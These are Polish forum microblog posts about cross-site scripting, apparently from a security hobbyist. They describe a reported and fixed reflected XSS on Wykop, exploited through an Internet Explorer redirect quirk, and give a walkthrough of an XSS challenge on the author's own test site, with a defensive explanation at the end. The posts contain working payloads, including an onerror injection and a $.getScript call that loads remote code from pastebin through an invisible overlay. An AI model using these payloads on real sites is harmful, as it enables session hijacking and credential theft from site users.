•  

    Kto chce zobaczyć XSSa na wykopie, niech wchodzi na mój profil - może to zmotywuje kogoś w supporcie by to naprawili. Plusiki mile widziane ( ͡° ͜ʖ ͡°)

    @a__s, może Ty szepniesz tam komuś by sprawdzili czasami zgłoszenia w supporcie xD
    #wykop #xss #davyjonespsujewykop <- to tak na zaś gdybym jeszcze coś złapał pokaż całość

  •  

    Reflected XSS na Wykopie.
    Zgłoszony do administracji i usunięty w niecałe 24h.
    #security #bezpieczenstwo #xss

    źródło: xsswykop.png

  •  

    #security

    Opowiem o ciekawym przypadku #xss, który znalazłem ostatnio na #wykop i został już naprawiony. Ciekawy jest dlatego, że nie tak łatwo go wyexploitować... Ale po kolei.

    Podatność występowała na niektórych podstronach bezpośrednio w adresach. Gdy w adresie został umieszczony znak cudzysłowia, a następnie nawiasy ostre, można było wyjść z tagu i wprowadzić dowolny kod HTML. Przykład na screenie: http://i.imgur.com/ulCWnvo.png

    Może się wydawać: no to jesteśmy w domu, mamy XSS-a! Praktyczne wykorzystanie tego błędu nie jest jednak takie łatwe, a wiąże się z zachowaniem przeglądarek, które automatycznie dokonują URL-encodingu adresów, w których znajdują się nietypowe znaki. A więc nawet jeśli skonstruujemy URL wyglądający tak: http://www.wykop.pl/mikroblog/"<xss>, to przeglądarka i tak wykona żądanie pod http://www.wykop.pl/mikroblog/%22%3cxss%3e. Każda z popularnych przeglądarek - Firefox, Chrome, IE, Opera - zachowuje się w taki sposób. A wtedy ten wykopowy XSS nie wykonuje się, ponieważ do źródła strony przepisywane było dokładnie to samo, co było w adresie. Więc jeśli w adresie był znak ", to on pojawił się w źródle. Jednak jeśli było %22, to w źródle pojawia się %22.

    Jest jednak co najmniej jeden sposób (a dokładniej: jeden sposób, który znam) na zmuszenie przeglądarki do wysłania żądania bez URL-enkodowania. Działa tylko w Internet Explorerze i myślę, że spokojnie można go potraktować jako bug tej przeglądarki. Okazuje się, że IE wykonuje żądanie bez enkodowania adresu dla adresów, które pobiera z nagłówka Location przy przekierowaniach. Wystarczyło więc przygotować stronę, która odpowiada kodem 302 z nagłówkiem
    Location: http://www.wykop.pl/mikroblog/next/6391690"><img/src='1'onerror='alert("XSS")'>/%2e%2e/

    Przechodzimy na tę stronę z Internet Explorera i exploit (alert o treści "XSS") pięknie się wykonuje, bowiem IE nie zamienia " na %22, < na %3c etc. tylko wysyła jak leci. Dołączam do tego postu dowód filmowy, że to działało. Sam exploit wrzuciłem pod adresem: http://hakerium.cba.pl/secret/wykop_xss.php

    Na koniec proponuję małą zagadkę: po co na końcu swojego exploita dałem tę część /%2e%2e/?

    Reasumując, jeśli testujecie kiedyś strony pod kątem XSS-ów i XSS wykonuje się jedynie w przypadku, gdy w URL-u znajduje się znak, który domyślnie jest URL-enkodowany, to taki exploit wciąż jest wykonalny na Internet Explorerze. To dość przydatna wiedza, w kontekście różnych #bugbounty albowiem można udowodnić, że w praktyce da się taki błąd wykorzystać.

    Jeśli ktoś chciałby zapytać, do czego praktycznie można wykorzystać XSS, to najczęściej próbuje się osiągnąć następujące cele:
    - Wykradnięcie ciastka sesyjnego (na Wykopie nietrywialne ze względu na użycie flagi HttpOnly),
    - Odczyt dowolnych danych stronie (np. XSS w Gmailu daje dostęp do całej poczty) lub wykonanie dowolnych akcji na stronie (na Wykopie można by wykopywać swoje znaleziska),
    - Monitorowanie aktywności użytkownika,
    - Przechwycenie danych logowania użytkownika - można pokazać fałszywą stronę logowania, w którą użytkownik ochoczo wpisze własne hasło :)

    (dodaję też #zagadkihakerskie bo myślę, że może to zainteresować subskrybentów)
    pokaż całość

    źródło: youtube.com

  •  

    #zagadkihakerskie #programowanie #xss #js #html

    Ostatnio rzuciłem kolejne wyzwanie związane z bezpieczeństwem stron internetowych. Strona pod adresem http://hakerium.cba.pl/zad2/ jest podatna na błąd typu Cross-Site Scripting (XSS) i celem zadania było dołączenie pliku z zewnętrznej domeny. Zaproponowałem plik spod adresu http://pastebin.com/raw.php?i=mYM90ckz który po prostu wyświetla alert, ale oczywiście można go dużo bardziej rozwinąć.

    Sama strona umożliwiała dodawanie komentarzy o długości co najwyżej 100 znaków. Zacznijmy od analizy jak ta strona działa i dlaczego istnieje na niej podatność. (Sugeruję, żebyście samemu chwilę się stroną pobawili, żeby wiedzieć o czym ja dalej piszę :))

    Na wstępie zobaczmy co w ogóle na stronie się dzieje przy dodawaniu komentarza. Zacznijmy od dodania prostego komentarza o treści abc. Zajrzyjmy teraz do HTML-a:
    <div class="comment" title=abc>abc</div>

    Pierwsza rzecz, którą zawsze sprawdzamy to jest czy strona enkoduje znaki, które są istotne z punktu widzenia składni HTML-a, a więc: " ' < > &. Wpiszmy więc komentarz abc"'<>& i sprawdźmy co się dzieje:
    <div class="comment" title=abc&quot;&#039;&lt;&gt;&amp;>abc&quot;&#039;&lt;&gt;&amp;</div>

    Okazuje się więc, że odpada najprostsza metoda ataku czyli dodanie własnego tagu HTML-owego wewnątrz diva, ponieważ znak < jest enkodowany do &lt;. Zwracamy jednak uwagę na fakt, że wartość atrybutu title nie jest umieszczona w cudzysłowiach. Być może więc możemy w naszym komentarzu dodać spację i stworzyć nowy atrybut? Dodajmy komentarz abc onmouseover=alert(1):

    <div class="comment" title=abc onmouseover=alert(1)>abc onmouseover=alert(1)</div>

    Spacja nie została w żaden sposób zenkodowana i dodaliśmy nowy atrybut! Teraz wystarczy przejechać kursorem po komentarzu i zobaczymy, że pojawi się alert o treści "1".

    Naszym zadaniem nie było jednak wyświetlanie takich alertów, ale dołączenie pliku JS z zewnętrznej domeny. W tym celu możemy skorzystać z faktu, że strona używa jQuery i użyć metody jQuery.getScript (dzięki @mero3 za to!). Gdybyśmy nie mieli dostępu do jQuery, wówczas można samemu zrobić znacznik <script> z odpowiednim atrybutem src, ale to wymaga trochę więcej pracy.
    Napiszmy więc komentarz o treści: x onmouseover=$.getScript('http://pastebin.com/raw.php?i=mYM90ckz')
    Wówczas, po przejechaniu kursorem myszy po tym komentarzu zostanie wykonany skrypt z tego pastebina. Można by więc powiedzieć, że w tym momencie zadanie jest wykonane...

    ... Jest jednak pewne "ale" - sami przyznacie, że możemy się przeliczyć, jeśli mamy nadzieję, że użytkownik umieści kursor akurat nad tym komentarzem. Trzeba by więc coś wymyślić, żeby mieć dużo większe prawdopodobieństwo (albo wręcz pewność), że akcja z naszego skryptu zostanie wykonana na komputerze ofiary. Jak odkryliśmy wcześniej, znak < jest enkodowany i nie mamy możliwości stworzenia własnego tagu. W ramach tagu <div> z kolei nie możemy użyć atrybutu onload=... żeby coś wykonało się automatycznie po załadowaniu strony. Wydaje się więc, że mamy w pewnym stopniu związane ręce. Ale skoro możemy użyć dowolnych atrybutów, można też użyć atrybutu style i w taki sposób zmienić ten komentarz, żeby zajmował on całą wielkość strony! Jest bardzo prawdopodobne, że ofiara użyje myszy gdziekolwiek na naszej stronie :) Dodanie komentarza o treści y style=height:100%;left:0;top:0;position:fixed;width:100%;opacity:0 spowoduje, że ten komentarz będzie się znajdował w lewym górnym rogu strony, będzie zajmował cały obszar strony i dodatkowo będzie niewidoczny (opacity:0), więc użytkownik nie zauważy, że coś jest nie tak. Niestety, nie ma możliwości dodania w jednym komentarzu tagu style i tej wcześniejszej treści z getScript ponieważ taki komentarz ma 134 znaki, a, jak wiemy, mamy ograniczenie do zaledwie 100 znaków.

    Co zrobić w takiej sytuacji? Rozwiązanie jest dość proste: dodać dwa komentarze! Jeden z nich będzie zawierał cały znacznik style i odniesienie do tego drugiego komentarza, który z kolei dołączy ten skrypt z zewnętrznej domeny. W tym drugim komentarzu zamiast onmouseover możemy użyć tym razem zdarzenia onkeyup. Dlaczego? Ponieważ zajmuje mniej znaków niż onmouseover i nie ma szans, żeby wywołało się przypadkiem w divie. Warto też zwrócić uwagę, że dobrze byłoby, gdyby styl strony wrócił do normy po wykonaniu naszego skryptu. Dlatego zmodyfikował trochę skrypt na pastebinie i dodałem tam resetowanie znacznika style, do zobaczenia tutaj: http://pastebin.com/raw.php?i=qASbnrHL
    No to teraz mamy treść pierwszego komentarza:
    x onkeyup=$.getScript('http://pastebin.com/raw.php?i=qASbnrHL')
    I treść drugiego:
    y style=height:100%;left:0;top:0;position:fixed;width:100%;opacity:0 onmouseover=$('*').keyup()

    Ten pierwszy komentarz zawiera ten kod, który nas tak naprawdę interesuje, zaś ten drugi służy tylko do wywołania pierwszego (użyłem tam selektora $('*'), bo i tak żaden inny obiekt na stronie nie ma zdarzenia keyup, ale to mogłoby wymagać dopracowania w rzeczywistym przypadku).

    Poniżej pokazany efekt na Chrome (uwaga! Na Chrome i Safari trzeba stronę odświeżyć poprzez kliknięcie ENTER na pasku adresu, ze względu na pewne mechanizmy w tych przeglądarkach; w prawdziwym ataku one i tak nie przeszkadzają):
    http://www.youtube.com/watch?v=HgzqjGwosCM

    Ciekawostka: kiedyś podaną powyżej sztuczkę, tj. zmiana stylu obiektu na taki, żeby się wyświetlał na całą stronę, wykonanie jakiejś akcji, a potem powrót do normalnego stylu zastosowałem na Wykopie zmieniając nagłówek "Wykopalisko" na "Trollowisko". Zadziałało :) http://www.wykop.pl/wpis/479285/czemu-wykopalisko-zwie-sie-trollowiskiem-i-to-tylk/

    Jeśli macie jakiekolwiek pytania dotyczące tego hakerium, pytajcie śmiało :)
    pokaż całość

    •  

      @almafater: potem przeczytałem, ciekawe sam bym zapewne nie wpadł ;)

      +: Rzuku
    •  

      Ochrona przed zagrożeniem:
      Błąd na tej stronie jest całkiem ciekawy, ponieważ strona enkoduje dane wyjściowe (tj. np. znak < jest zamieniany na &lt;, a " jest zamieniany na &quot;). Pomimo tego i tak udaje się znaleźć podatność i wykorzystać błąd. Wynika to z niedostosowania się do pewnych dobrych standardów w HTML-u. W tym przypadku wystarczyło atrybut wartość atrybutu title umieścić w cudzysłowach i błędu już by nie było. Wniosek jest z tego taki, że nie wystarczy bezmyślnie zastosować htmlentities (lub odpowiednika w innych językach) i wszystkie problemy z enkodowaniem się rozwiążą :)
      Bardzo dobry opis jak się chronić przed różnymi typami XSS-ów znajdziecie na stronie OWASP-u.
      pokaż całość

      +: Rzuku
    • więcej komentarzy (2)

  •  

    Wygląda na to, że jest już poprawiony, stąd mogę wyjawić błąd XSS jaki był jeszcze wczoraj na wykopie:
    http://screencast.com/t/DwBKlbJr

    #wykop #xss

Ładuję kolejną stronę...